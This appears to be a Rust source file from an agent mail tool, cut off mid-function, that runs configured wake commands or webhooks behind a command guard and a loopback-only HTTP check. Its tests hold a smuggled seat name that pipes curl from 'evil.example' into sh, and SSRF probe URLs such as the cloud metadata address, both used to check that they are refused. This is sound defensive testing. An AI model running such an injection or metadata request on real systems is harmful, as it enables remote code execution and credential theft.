1use std::collections::BTreeMap;
38use std::io::Write;
39#[cfg(unix)]
40use std::os::fd::AsRawFd;
41use std::path::{Path, PathBuf};
42use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
43
44use anyhow::{bail, Context, Result};
45use serde::{Deserialize, Serialize};
46
47pub const WAKE_TIMEOUT_SECS: u64 = 30;
49
50const WEBHOOK_TIMEOUT_SECS: u64 = 10;
52
53pub(crate) const ENV_SOURCE: &str = "env";
55
56#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
58pub struct Wake {
59 #[serde(default, skip_serializing_if = "Option::is_none")]
61 pub command: Option<String>,
62 #[serde(default, skip_serializing_if = "Option::is_none")]
65 pub webhook: Option<String>,
66 #[serde(default, skip_serializing_if = "Option::is_none")]
68 pub key_file: Option<String>,
69 #[serde(default, skip_serializing_if = "Option::is_none")]
71 pub key_env: Option<String>,
72 #[serde(default, skip_serializing_if = "Option::is_none")]
74 pub timeout: Option<u64>,
75 #[serde(default, skip_serializing_if = "Option::is_none")]
78 pub source: Option<String>,
79}
80
81#[derive(Debug, Clone, Default, PartialEq, Eq)]
83pub struct Event {
84 pub seat: String,
85 pub from: String,
86 pub msg: String,
87 pub issue: Option<String>,
88 pub interrupt: bool,
89 pub commit: Option<String>,
92}
93
94#[must_use]
96pub fn path() -> PathBuf {
97 super::harnesses_path().with_file_name("wake.toml")
98}
99
100#[must_use]
103pub fn load() -> BTreeMap<String, Wake> {
104 std::fs::read_to_string(path())
105 .ok()
106 .and_then(|text| toml::from_str(&text).ok())
107 .unwrap_or_default()
108}
109
110#[cfg(test)]
111fn load_for_write() -> Result<BTreeMap<String, Wake>> {
112 load_path_for_write(&path())
113}
114
115fn load_path_for_write(wake_path: &Path) -> Result<BTreeMap<String, Wake>> {
116 let text = match std::fs::read_to_string(wake_path) {
117 Ok(text) => text,
118 Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(BTreeMap::new()),
119 Err(err) => {
120 return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
121 }
122 };
123 toml::from_str(&text).with_context(|| format!("wake: parse {}", wake_path.display()))
124}
125
126fn render(table: &BTreeMap<String, Wake>) -> Result<String> {
127 Ok(format!(
128 "# Wakes `ljos send` starts when mail reaches a seat. A name ending in -\n\
129 # matches every longer seat that starts with it. `ljos wake --help` sets them.\n{}",
130 toml::to_string(table)?
131 ))
132}
133
134fn lock_path(wake_path: &Path) -> PathBuf {
135 let mut name = wake_path
136 .file_name()
137 .map(|n| n.to_os_string())
138 .unwrap_or_else(|| "wake.toml".into());
139 name.push(".lock");
140 wake_path.with_file_name(name)
141}
142
143#[cfg(unix)]
144fn lock_exclusive(file: &std::fs::File) -> std::io::Result<()> {
145 let rc = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
146 if rc == 0 {
147 Ok(())
148 } else {
149 Err(std::io::Error::last_os_error())
150 }
151}
152
153#[cfg(not(unix))]
154fn lock_exclusive(_file: &std::fs::File) -> std::io::Result<()> {
155 Ok(())
156}
157
158#[cfg(unix)]
159fn wake_file_mode(wake_path: &Path) -> u32 {
160 use std::os::unix::fs::PermissionsExt;
161
162 std::fs::symlink_metadata(wake_path)
163 .ok()
164 .filter(|meta| meta.file_type().is_file())
165 .map(|meta| meta.permissions().mode() & 0o777)
166 .unwrap_or(0o600)
167}
168
169fn save_atomic(wake_path: &Path, table: &BTreeMap<String, Wake>) -> Result<()> {
170 let text = render(table)?;
171 let dir = wake_path
172 .parent()
173 .context("wake: no directory for wake.toml")?;
174 std::fs::create_dir_all(dir)?;
175 let stamp = SystemTime::now()
176 .duration_since(UNIX_EPOCH)
177 .unwrap_or_default()
178 .as_nanos();
179 let mut tmp_name = wake_path
180 .file_name()
181 .map(|n| n.to_os_string())
182 .unwrap_or_else(|| "wake.toml".into());
183 tmp_name.push(format!(".tmp-{}-{stamp}", std::process::id()));
184 let tmp = dir.join(tmp_name);
185 #[cfg(unix)]
186 let mode = wake_file_mode(wake_path);
187 {
188 let mut options = std::fs::OpenOptions::new();
189 options.create_new(true).write(true);
190 #[cfg(unix)]
191 {
192 use std::os::unix::fs::OpenOptionsExt;
193 options.mode(0o600);
194 }
195 let mut out = options
196 .open(&tmp)
197 .with_context(|| format!("wake: {}", tmp.display()))?;
198 out.write_all(text.as_bytes())
199 .with_context(|| format!("wake: {}", tmp.display()))?;
200 out.sync_all()
201 .with_context(|| format!("wake: {}", tmp.display()))?;
202 }
203 #[cfg(unix)]
204 {
205 use std::os::unix::fs::PermissionsExt;
206 std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(mode))
207 .with_context(|| format!("wake: mode {mode:04o} {}", tmp.display()))?;
208 }
209 if let Err(err) = std::fs::rename(&tmp, wake_path) {
210 let _ = std::fs::remove_file(&tmp);
211 return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
212 }
213 Ok(())
214}
215
216fn edit_table<T>(edit: impl FnOnce(&mut BTreeMap<String, Wake>) -> Result<(T, bool)>) -> Result<T> {
217 let wake_path = path();
218 if let Some(dir) = wake_path.parent() {
219 std::fs::create_dir_all(dir)?;
220 }
221 let lock_file_path = lock_path(&wake_path);
222 let lock = std::fs::OpenOptions::new()
223 .create(true)
224 .read(true)
225 .write(true)
226 .truncate(false)
227 .open(&lock_file_path)
228 .with_context(|| format!("wake: {}", lock_file_path.display()))?;
229 lock_exclusive(&lock).with_context(|| format!("wake: lock {}", lock_file_path.display()))?;
230 let mut table = load_path_for_write(&wake_path)?;
231 let (out, changed) = edit(&mut table)?;
232 if changed {
233 save_atomic(&wake_path, &table)?;
234 }
235 Ok(out)
236}
237
238#[must_use]
243pub fn judge(command: &str) -> Option<super::Rule> {
244 super::seat_guard(command)
245 .or_else(|| super::tcb_verdict(command))
246 .or_else(|| super::ruled_verdict(&super::rules_for_gate(), command))
247}
248
249fn refusal(command: &str, rule: &super::Rule) -> String {
250 format!(
251 "the guard says {} on `{command}`: {} (rule: {}). A wake runs with nobody to ask, so it does not run",
252 rule.verdict, rule.reason, rule.pattern
253 )
254}
255
256pub(crate) fn check_webhook(url: &str) -> Result<()> {
260 if !webhook_host_allowed(url) {
261 bail!("wake: {url} is not https, nor http on this machine");
262 }
263 Ok(())
264}
265
266fn webhook_host_allowed(url: &str) -> bool {
267 let Ok(parsed) = url::Url::parse(url) else {
268 return false;
269 };
270 match parsed.scheme() {
271 "https" => parsed.host().is_some(),
272 "http" => http_host_is_loopback(parsed.host()),
273 _ => false,
274 }
275}
276
277fn http_host_is_loopback(host: Option<url::Host<&str>>) -> bool {
278 match host {
279 Some(url::Host::Domain(name)) => name.eq_ignore_ascii_case("localhost"),
280 Some(url::Host::Ipv4(addr)) => addr.is_loopback(),
281 Some(url::Host::Ipv6(addr)) => addr.is_loopback(),
283 None => false,
284 }
285}
286
287pub fn set_command(seat: &str, command: &str, timeout: Option<u64>) -> Result<String> {
293 let command = command.trim();
294 if command.is_empty() {
295 bail!("wake: empty command");
296 }
297 if let Some(rule) = judge(command) {
298 bail!("wake: {}", refusal(command, &rule));
299 }
300 let next = Wake {
301 command: Some(command.to_string()),
302 timeout,
303 ..Wake::default()
304 };
305 edit_table(|table| {
306 let changed = table.get(seat) != Some(&next);
307 if changed {
308 table.insert(seat.to_string(), next.clone());
309 }
310 Ok(((), changed))
311 })?;
312 Ok(format!("wake {seat}: runs `{command}` {}\n", reaches(seat)))
313}
314
315pub fn set_webhook(
322 seat: &str,
323 url: &str,
324 key_file: Option<&str>,
325 key_env: Option<&str>,
326) -> Result<String> {
327 let url = url.trim();
328 check_webhook(url)?;
329 let next = Wake {
330 webhook: Some(url.to_string()),
331 key_file: key_file.map(str::to_string),
332 key_env: key_env.map(str::to_string),
333 ..Wake::default()
334 };
335 edit_table(|table| {
336 let changed = table.get(seat) != Some(&next);
337 if changed {
338 table.insert(seat.to_string(), next.clone());
339 }
340 Ok(((), changed))
341 })?;
342 Ok(format!("wake {seat}: posts to {url} {}\n", reaches(seat)))
343}
344
345pub(crate) fn set_env_webhook(seat: &str, url: &str, key_env: &str) -> Result<bool> {
355 let url = url.trim();
356 check_webhook(url)?;
357 let next = Wake {
358 webhook: Some(url.to_string()),
359 key_env: Some(key_env.to_string()),
360 source: Some(ENV_SOURCE.to_string()),
361 ..Wake::default()
362 };
363 edit_table(|table| {
364 let hand_set = table
365 .get(seat)
366 .is_some_and(|wake| wake.source.as_deref() != Some(ENV_SOURCE));
367 if hand_set {
368 return Ok((false, false));
369 }
370 let changed = table.get(seat) != Some(&next);
371 if changed {
372 table.insert(seat.to_string(), next.clone());
373 }
374 Ok((true, changed))
375 })
376}
377
378pub(crate) fn clear_env_webhook(seat: &str) -> Result<bool> {
382 edit_table(|table| {
383 let remove = table
384 .get(seat)
385 .is_some_and(|wake| wake.source.as_deref() == Some(ENV_SOURCE));
386 if remove {
387 table.remove(seat);
388 }
389 Ok((remove, remove))
390 })
391}
392
393pub fn clear(seat: &str) -> Result<String> {
399 edit_table(|table| {
400 if table.remove(seat).is_none() {
401 if let Some((key, _)) = resolve(table, seat) {
402 if key != seat {
403 return Ok((
404 format!("wake {seat}: none set; matches {key}. clear {key} to remove it\n"),
405 false,
406 ));
407 }
408 }
409 return Ok((format!("wake {seat}: none set\n"), false));
410 }
411 Ok((format!("wake {seat}: removed\n"), true))
412 })
413}
414
415#[must_use]
418pub fn show(seat: &str) -> String {
419 let table = load();
420 let Some((key, wake)) = resolve(&table, seat) else {
421 return none_set(seat);
422 };
423 let how = if let Some(command) = &wake.command {
424 format!("runs `{command}`")
425 } else if let Some(url) = &wake.webhook {
426 format!("posts to {url}")
427 } else {
428 return none_set(seat);
429 };
430 if key != seat {
431 format!("wake {seat}: {how} (matches {key})\n")
432 } else if is_prefix_key(key) {
433 format!("wake {seat}: {how} when mail reaches a seat that starts with it\n")
434 } else {
435 format!("wake {seat}: {how}\n")
436 }
437}
438
439fn none_set(seat: &str) -> String {
440 format!(
441 "wake {seat}: none set, so mail waits for its next prompt. `ljos wake --command CMD` sets one\n"
442 )
443}
444
445fn reaches(seat: &str) -> &'static str {
447 if is_prefix_key(seat) {
448 "when mail reaches a seat that starts with it"
449 } else {
450 "when mail reaches it"
451 }
452}
453
454fn is_prefix_key(key: &str) -> bool {
458 matches!(key.strip_suffix('-'), Some(stem) if !stem.is_empty() && !stem.ends_with('-'))
459}
460
461fn resolve<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<(&'a str, &'a Wake)> {
463 if let Some((key, wake)) = table.get_key_value(seat) {
464 return Some((key.as_str(), wake));
465 }
466 if super::seat_slug(seat) != seat {
468 return None;
469 }
470 table
471 .iter()
472 .filter(|(key, _)| {
473 is_prefix_key(key) && seat.len() > key.len() && seat.starts_with(key.as_str())
474 })
475 .max_by_key(|(key, _)| key.len())
476 .map(|(key, wake)| (key.as_str(), wake))
477}
478
479fn resolve_delivery<'a>(
481 table: &'a BTreeMap<String, Wake>,
482 seat: &str,
483) -> Option<(&'a str, &'a Wake)> {
484 let (key, wake) = resolve(table, seat)?;
485 (key != seat || !is_prefix_key(key)).then_some((key, wake))
486}
487
488fn matched_prefix<'a>(key: &'a str, seat: &str) -> Option<&'a str> {
489 (key != seat && is_prefix_key(key)).then_some(key)
490}
491
492fn launcher_seat(key: &str) -> &str {
493 if is_prefix_key(key) {
494 key.strip_suffix('-').unwrap_or(key)
495 } else {
496 key
497 }
498}
499
500fn wake_target(seat: &str, key: &str) -> String {
501 if let Some(via) = matched_prefix(key, seat) {
502 format!("{} via {via} for {seat}", launcher_seat(via))
503 } else {
504 key.to_string()
505 }
506}
507
508fn push_mode() -> bool {
511 std::env::var("LJOS_TRACKER_GIT").as_deref() == Ok("push")
512}
513
514fn log_path() -> PathBuf {
515 std::env::var_os("XDG_STATE_HOME")
516 .map(PathBuf::from)
517 .or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".local/state")))
518 .unwrap_or_else(|| PathBuf::from(".local/state"))
519 .join("ljos")
520 .join("mail")
521 .join("wake.log")
522}
523
524fn log(line: &str) {
525 let path = log_path();
526 if let Some(dir) = path.parent() {
527 let _ = std::fs::create_dir_all(dir);
528 }
529 if let Ok(mut f) = std::fs::OpenOptions::new()
530 .create(true)
531 .append(true)
532 .open(&path)
533 {
534 let _ = writeln!(f, "{} {line}", super::now_utc());
535 }
536}
537
538fn wake_bin() -> Option<String> {
540 if let Some(bin) = std::env::var_os("LJOS_WAKE_BIN").filter(|b| !b.is_empty()) {
541 return Some(bin.to_string_lossy().into_owned());
542 }
543 let me = std::env::current_exe().ok();
544 let beside = me.as_ref().map(|m| m.with_file_name("ljos"));
545 me.filter(|m| m.file_stem().is_some_and(|s| s == "ljos"))
546 .or(beside.filter(|p| p.is_file()))
547 .or_else(|| which::which("ljos").ok())
548 .map(|p| p.display().to_string())
549}
550
551#[must_use]
556pub fn spawn(events: &[Event]) -> Vec<String> {
557 let table = load();
558 let mut woken = Vec::new();
559 for event in events {
560 let Some((key, _)) = resolve_delivery(&table, &event.seat) else {
561 continue;
562 };
563 let Some(bin) = wake_bin() else {
564 log(&format!("{}: no ljos to run the wake", event.seat));
565 continue;
566 };
567 let mut args = vec![
568 "wake".to_string(),
569 event.seat.clone(),
570 "--fire".into(),
571 "--from".into(),
572 event.from.clone(),
573 "--msg".into(),
574 event.msg.clone(),
575 ];
576 if let Some(issue) = &event.issue {
577 args.push("--issue".into());
578 args.push(issue.clone());
579 }
580 if event.interrupt {
581 args.push("--interrupt".into());
582 }
583 match super::detach(&bin, &args, std::path::Path::new("/dev/null")) {
586 Ok(()) => woken.push(wake_target(&event.seat, key)),
587 Err(e) => log(&format!("{}: the wake did not start: {e:#}", event.seat)),
588 }
589 }
590 woken
591}
592
593#[must_use]
596pub fn envelope(event: &Event) -> serde_json::Value {
597 let seat = crate::tools::sh_quote(&event.seat);
598 let read = match &event.commit {
599 Some(commit) => format!("LJOS_SEAT={seat} ljos inbox --sync {commit}"),
600 None => format!("LJOS_SEAT={seat} ljos inbox"),
601 };
602 let mut v = serde_json::json!({
603 "event": "ljos-mail",
604 "seat": event.seat,
605 "from": event.from,
606 "msg": event.msg,
607 "issue": event.issue,
608 "interrupt": event.interrupt,
609 "read": read,
610 });
611 if let Some(commit) = &event.commit {
612 v["commit"] = serde_json::Value::String(commit.clone());
613 }
614 v
615}
616
617fn webhook_key(wake: &Wake) -> Option<String> {
618 let from_file = wake.key_file.as_deref().and_then(|p| {
619 let path = p
620 .strip_prefix("~/")
621 .and_then(|rest| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(rest)))
622 .unwrap_or_else(|| PathBuf::from(p));
623 std::fs::read_to_string(path).ok()
624 });
625 from_file
626 .or_else(|| wake.key_env.as_deref().and_then(|v| std::env::var(v).ok()))
627 .map(|k| k.trim().to_string())
628 .filter(|k| !k.is_empty())
629}
630
631fn run_command(command: &str, event: &Event, timeout: Duration) -> Result<String> {
632 if let Some(rule) = judge(command) {
633 bail!("{}", refusal(command, &rule));
634 }
635 let mut cmd = std::process::Command::new("sh");
636 cmd.arg("-c")
637 .arg(command)
638 .env("LJOS_SEAT", &event.seat)
639 .env("LJOS_WAKE_SEAT", &event.seat)
640 .env("LJOS_WAKE_FROM", &event.from)
641 .env("LJOS_WAKE_MSG", &event.msg)
642 .env("LJOS_WAKE_ISSUE", event.issue.as_deref().unwrap_or(""))
643 .env(
644 "LJOS_WAKE_INTERRUPT",
645 if event.interrupt { "1" } else { "0" },
646 )
647 .stdin(std::process::Stdio::null());
648 match &event.commit {
649 Some(commit) => {
650 cmd.env("LJOS_WAKE_COMMIT", commit);
651 }
652 None => {
653 cmd.env_remove("LJOS_WAKE_COMMIT");
654 }
655 }
656 let path = log_path();
659 if let Some(dir) = path.parent() {
660 let _ = std::fs::create_dir_all(dir);
661 }
662 if let Ok(out) = std::fs::OpenOptions::new()
663 .create(true)
664 .append(true)
665 .open(&path)
666 {
667 if let Ok(err) = out.try_clone() {
668 cmd.stdout(out).stderr(err);
669 }
670 }
671 let mut child = cmd.spawn().context("start the wake command")?;
672 let started = Instant::now();
673 loop {
674 if let Some(status) = child.try_wait()? {
675 if status.success() {
676 return Ok(format!("ran in {} ms", started.elapsed().as_millis()));
677 }
678 bail!("exited {status}");
679 }
680 if started.elapsed() >= timeout {
681 let _ = child.kill();
683 let _ = child.wait();
684 bail!("stopped after {} ms", timeout.as_millis());
685 }
686 std::thread::sleep(Duration::from_millis(20));
687 }
688}
689
690fn post(url: &str, wake: &Wake, event: &Event, via: Option<&str>) -> Result<String> {
691 check_webhook(url)?;
692 let agent = ureq::AgentBuilder::new()
693 .timeout(Duration::from_secs(WEBHOOK_TIMEOUT_SECS))
694 .redirects(0)
695 .build();
696 let mut req = agent.post(url).set("Content-Type", "application/json");
697 if let Some(key) = webhook_key(wake) {
698 req = req.set("Authorization", &format!("Bearer {key}"));
699 }
700 let started = Instant::now();
701 let mut envelope = envelope(event);
702 if let Some(via) = via {
703 envelope["via"] = serde_json::Value::String(via.to_string());
704 }
705 let resp = req.send_string(&envelope.to_string()).map_err(|e| {
706 anyhow::anyhow!("POST {url}: {}", e.to_string().replace(url, "the webhook"))
707 })?;
708 if (300..400).contains(&resp.status()) {
709 bail!(
710 "POST the webhook: refused redirect status {}",
711 resp.status()
712 );
713 }
714 Ok(format!(
715 "posted, {} in {} ms",
716 resp.status(),
717 started.elapsed().as_millis()
718 ))
719}
720
721pub fn fire(event: &Event) -> Result<String> {
736 let table = load();
737 let Some((key, wake)) = resolve_delivery(&table, &event.seat) else {
738 bail!("wake: {} has no wake set", event.seat);
739 };
740 let via = matched_prefix(key, &event.seat);
741 let named = wake_target(&event.seat, key);
742 let mut carried = event.clone();
747 if push_mode() {
748 if let Err(why) = super::sync::push_sealed_log() {
749 log(&format!("{}: {why:#}", carried.seat));
750 }
751 carried.commit = super::sync::log_commit();
752 }
753 let outcome = if let Some(command) = &wake.command {
754 let timeout = Duration::from_secs(wake.timeout.unwrap_or(WAKE_TIMEOUT_SECS).max(1));
755 run_command(command, &carried, timeout)
756 } else if let Some(url) = &wake.webhook {
757 post(url, wake, &carried, via)
758 } else {
759 Err(anyhow::anyhow!("neither a command nor a webhook"))
760 };
761 match outcome {
762 Ok(said) => {
763 log(&format!("{named} {}: {said}", carried.msg));
764 Ok(format!("wake {named}: {said}\n"))
765 }
766 Err(e) => {
767 log(&format!("{named} {}: {e:#}", carried.msg));
768 Err(e).context(format!("wake {named}"))
769 }
770 }
771}
772
773#[cfg(test)]
774mod tests {
775 use super::*;
776
777 #[test]
778 fn a_wake_reads_back_as_written_and_keeps_no_key() {
779 let mut table = BTreeMap::new();
780 table.insert(
781 "grok".to_string(),
782 Wake {
783 webhook: Some("https://api2.cursor.sh/automations/webhook/abc".into()),
784 key_file: Some("~/.config/ljos/grok.key".into()),
785 ..Wake::default()
786 },
787 );
788 table.insert(
789 "claude-review".to_string(),
790 Wake {
791 command: Some("claude -p --resume \"$SESSION\" 'ljos inbox'".into()),
792 timeout: Some(120),
793 ..Wake::default()
794 },
795 );
796 table.insert(
797 "ljosbot-review-".to_string(),
798 Wake {
799 webhook: Some("https://example.test/launch".into()),
800 key_env: Some("LJOS_WAKE_LAUNCHER_KEY".into()),
801 ..Wake::default()
802 },
803 );
804 let text = toml::to_string(&table).unwrap();
805 assert!(!text.contains("key ="), "{text}");
806 let back: BTreeMap<String, Wake> = toml::from_str(&text).unwrap();
807 assert_eq!(back, table);
808 }
809
810 #[test]
811 fn a_webhook_gets_the_envelope_and_not_the_body() {
812 let event = Event {
813 seat: "grok".into(),
814 from: "saddle".into(),
815 msg: "m1".into(),
816 issue: Some("Software-d9n6".into()),
817 interrupt: true,
818 commit: None,
819 };
820 let v = envelope(&event);
821 assert_eq!(v["seat"], "grok");
822 assert_eq!(v["msg"], "m1");
823 assert_eq!(v["interrupt"], true);
824 assert!(v.get("commit").is_none(), "{v}");
825 assert_eq!(v["read"], "LJOS_SEAT='grok' ljos inbox");
826 assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
827 let named = Event {
828 commit: Some("0123456789abcdef0123456789abcdef01234567".into()),
829 ..event
830 };
831 let named_v = envelope(&named);
832 assert_eq!(
833 named_v["commit"],
834 "0123456789abcdef0123456789abcdef01234567"
835 );
836 assert_eq!(
837 named_v["read"],
838 "LJOS_SEAT='grok' ljos inbox --sync 0123456789abcdef0123456789abcdef01234567"
839 );
840 assert!(check_webhook("http://example.com/hook").is_err());
841 assert!(check_webhook("https://api2.cursor.sh/automations/webhook/x").is_ok());
842 assert!(check_webhook("http://127.0.0.1:9/hook").is_ok());
843 }
844
845 #[test]
846 fn http_is_loopback_only_and_an_attacker_suffix_is_refused() {
847 for url in [
848 "http://localhost.attacker.invalid/hook",
849 "http://127.0.0.1.attacker.invalid/hook",
850 "http://localhost@attacker.invalid/hook",
851 "http://127.0.0.1@attacker.invalid/hook",
852 "http://example.com/hook",
853 "http://169.254.169.254/latest/meta-data",
854 "http://0.0.0.0/hook",
855 "http://[::2]/hook",
856 ] {
857 assert!(check_webhook(url).is_err(), "{url}");
858 }
859 for url in [
860 "https://api2.cursor.sh/automations/webhook/x",
861 "https://localhost.attacker.invalid/hook",
862 "http://127.0.0.1:9/hook",
863 "http://127.0.0.2/hook",
864 "http://2130706433/hook",
865 "http://localhost/hook",
866 "http://localhost:9/hook",
867 "http://[::1]/hook",
868 "http://[::1]:9/hook",
869 "http://[0:0:0:0:0:0:0:1]/hook",
870 "http://user:secret@127.0.0.1/hook",
871 ] {
872 assert!(check_webhook(url).is_ok(), "{url}");
873 }
874 }
875
876 #[test]
877 fn a_wake_that_runs_past_its_timeout_is_stopped() {
878 let event = Event {
879 seat: "slow".into(),
880 ..Event::default()
881 };
882 let started = Instant::now();
883 let err = run_command("sleep 5", &event, Duration::from_millis(300)).unwrap_err();
884 assert!(err.to_string().contains("stopped after"), "{err}");
885 assert!(started.elapsed() < Duration::from_secs(3));
886 let ok = run_command("test \"$LJOS_SEAT\" = slow", &event, Duration::from_secs(5));
887 assert!(ok.is_ok(), "{ok:?}");
888 }
889
890 fn hook(url: &str) -> Wake {
891 Wake {
892 webhook: Some(url.to_string()),
893 ..Wake::default()
894 }
895 }
896
897 fn matched<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<&'a str> {
898 resolve(table, seat).map(|(key, _)| key)
899 }
900
901 #[test]
902 fn a_prefix_matches_a_run_and_an_exact_name_wins() {
903 let mut table = BTreeMap::new();
904 table.insert("inky".into(), hook("https://example.test/inky"));
905 table.insert("ljosbot-".into(), hook("https://example.test/ljosbot"));
906 table.insert(
907 "ljosbot-review-".into(),
908 hook("https://example.test/review"),
909 );
910 table.insert(
911 "ljosbot-review-abc".into(),
912 hook("https://example.test/exact"),
913 );
914 table.insert("-".into(), hook("https://example.test/bare"));
915 table.insert("--".into(), hook("https://example.test/dashes"));
916 table.insert("a--".into(), hook("https://example.test/double"));
917
918 assert!(is_prefix_key("ljosbot-review-"));
919 assert!(is_prefix_key("a-"));
920 assert!(!is_prefix_key("ljosbot-review"));
921 assert!(!is_prefix_key("-"));
922 assert!(!is_prefix_key("--"));
923 assert!(!is_prefix_key("a--"));
924
925 assert_eq!(matched(&table, "inky"), Some("inky"));
926 assert_eq!(
927 matched(&table, "ljosbot-review-def"),
928 Some("ljosbot-review-")
929 );
930 assert_eq!(matched(&table, "ljosbot-fix-1"), Some("ljosbot-"));
931 assert_eq!(matched(&table, "ljosbot-reviewer"), Some("ljosbot-"));
933 assert_eq!(
934 matched(&table, "ljosbot-review-abc"),
935 Some("ljosbot-review-abc")
936 );
937 assert_eq!(matched(&table, "ljosbot"), None);
938 assert_eq!(matched(&table, "inky-2"), None);
939 assert_eq!(matched(&table, "a-b"), None);
940 assert_eq!(matched(&table, "-b"), None);
941
942 let mut review_only = BTreeMap::new();
943 review_only.insert(
944 "ljosbot-review-".into(),
945 hook("https://example.test/review"),
946 );
947 assert_eq!(
948 matched(&review_only, "ljosbot-review-def"),
949 Some("ljosbot-review-")
950 );
951 assert_eq!(
952 matched(&review_only, "ljosbot-review-x;curl${IFS}evil.example|sh"),
953 None
954 );
955 assert_eq!(matched(&review_only, "ljosbot-reviewer"), None);
956 assert_eq!(matched(&review_only, "ljosbot-review"), None);
957 assert_eq!(
958 reaches("ljosbot-review-"),
959 "when mail reaches a seat that starts with it"
960 );
961 assert_eq!(reaches("inky"), "when mail reaches it");
962 }
963
964 fn read_http(sock: &mut std::net::TcpStream) -> String {
965 use std::io::Read;
966 sock.set_read_timeout(Some(Duration::from_secs(2))).ok();
967 let mut buf = Vec::new();
968 let mut tmp = [0u8; 1024];
969 loop {
970 let n = sock.read(&mut tmp).unwrap_or(0);
971 if n == 0 {
972 break;
973 }
974 buf.extend_from_slice(&tmp[..n]);
975 if let Some(at) = buf.windows(4).position(|w| w == b"\r\n\r\n") {
976 let headers = &buf[..at];
977 let mut need = 0usize;
978 for line in headers.split(|b| *b == b'\n') {
979 let line = std::str::from_utf8(line).unwrap_or("").trim();
980 if let Some(v) = line
981 .split_once(':')
982 .filter(|(k, _)| k.eq_ignore_ascii_case("content-length"))
983 .map(|(_, v)| v.trim())
984 {
985 need = v.parse().unwrap_or(0);
986 }
987 }
988 if buf.len().saturating_sub(at + 4) >= need {
989 break;
990 }
991 }
992 }
993 String::from_utf8_lossy(&buf).into_owned()
994 }
995
996 fn serve_one() -> (u16, std::sync::mpsc::Receiver<String>) {
997 let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind");
998 let port = listener.local_addr().expect("addr").port();
999 let (tx, rx) = std::sync::mpsc::channel();
1000 std::thread::spawn(move || {
1001 let Ok((mut sock, _)) = listener.accept() else {
1002 return;
1003 };
1004 let req = read_http(&mut sock);
1005 let _ = tx.send(req);
1006 let _ = std::io::Write::write_all(
1007 &mut sock,
1008 b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
1009 );
1010 });
1011 (port, rx)
1012 }
1013
1014 #[test]
1015 fn a_webhook_redirect_is_refused_and_not_followed() {
1016 let (_lock, _dir) = isolated();
1017 let (target_port, target_rx) = serve_one();
1018 let redirect = std::net::TcpListener::bind("127.0.0.1:0").expect("redirect bind");
1019 let redirect_port = redirect.local_addr().expect("redirect addr").port();
1020 let (first_tx, first_rx) = std::sync::mpsc::channel();
1021 std::thread::spawn(move || {
1022 let Ok((mut sock, _)) = redirect.accept() else {
1023 return;
1024 };
1025 let req = read_http(&mut sock);
1026 let _ = first_tx.send(req);
1027 let location = format!("http://127.0.0.1:{target_port}/next");
1028 let reply = format!(
1029 "HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
1030 );
1031 let _ = std::io::Write::write_all(&mut sock, reply.as_bytes());
1032 });
1033 let hook = format!("http://127.0.0.1:{redirect_port}/hook");
1034 set_webhook("inky", &hook, None, None).expect("set webhook");
1035 let err = fire(&Event {
1036 seat: "inky".into(),
1037 from: "vm-seat".into(),
1038 msg: "m1".into(),
1039 ..Event::default()
1040 })
1041 .expect_err("redirected webhook must fail");
1042 let said = format!("{err:#}");
1043 assert!(said.contains("302"), "{said}");
1044 let first = first_rx
1045 .recv_timeout(Duration::from_secs(3))
1046 .expect("redirect request");
1047 assert!(first.starts_with("POST /hook"), "{first}");
1048 assert!(
1049 target_rx.recv_timeout(Duration::from_millis(700)).is_err(),
1050 "redirect target was called"
1051 );
1052 }
1053
1054 #[test]
1055 fn concurrent_writers_and_reader_keep_every_entry() {
1056 use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
1057 use std::sync::{Arc, Barrier};
1058
1059 let (_lock, _dir) = isolated();
1060 set_command("seed", "true", None).expect("seed");
1061 let left_payload = "a".repeat(40_000);
1062 let right_payload = "b".repeat(40_000);
1063
1064 let done = Arc::new(AtomicBool::new(false));
1065 let parse_errors = Arc::new(AtomicUsize::new(0));
1066 let done_reader = Arc::clone(&done);
1067 let parse_reader = Arc::clone(&parse_errors);
1068 let reader = std::thread::spawn(move || {
1069 while !done_reader.load(Ordering::Relaxed) {
1070 if let Ok(text) = std::fs::read_to_string(path()) {
1071 if !text.is_empty() && toml::from_str::<BTreeMap<String, Wake>>(&text).is_err()
1072 {
1073 parse_reader.fetch_add(1, Ordering::Relaxed);
1074 }
1075 }
1076 std::hint::spin_loop();
1077 }
1078 });
1079
1080 for round in 0..40 {
1081 let gate = Arc::new(Barrier::new(2));
1082 let left_gate = Arc::clone(&gate);
1083 let right_gate = Arc::clone(&gate);
1084 let left_cmd = format!("{left_payload}{round}");
1085 let right_cmd = format!("{right_payload}{round}");
1086 let left = std::thread::spawn(move || {
1087 left_gate.wait();
1088 set_command("alpha", &left_cmd, None).expect("left write");
1089 });
1090 let right = std::thread::spawn(move || {
1091 right_gate.wait();
1092 set_command("beta", &right_cmd, None).expect("right write");
1093 });
1094 left.join().expect("left join");
1095 right.join().expect("right join");
1096 let table = load_for_write().expect("table parse");
1097 assert!(
1098 table.contains_key("alpha") && table.contains_key("beta"),
1099 "lost wake entry on round {round}: {table:?}"
1100 );
1101 }
1102 done.store(true, Ordering::Relaxed);
1103 reader.join().expect("reader join");
1104 assert_eq!(
1105 parse_errors.load(Ordering::Relaxed),
1106 0,
1107 "reader saw torn writes"
1108 );
1109 }
1110
1111 fn body_of(raw: &str) -> serde_json::Value {
1112 let body = raw
1113 .split_once("\r\n\r\n")
1114 .map(|(_, body)| body)
1115 .unwrap_or(raw);
1116 serde_json::from_str(body).unwrap_or_else(|e| panic!("{e}: {raw}"))
1117 }
1118
1119 fn isolated() -> (crate::EnvLock, tempfile::TempDir) {
1121 let lock = crate::test_env_lock();
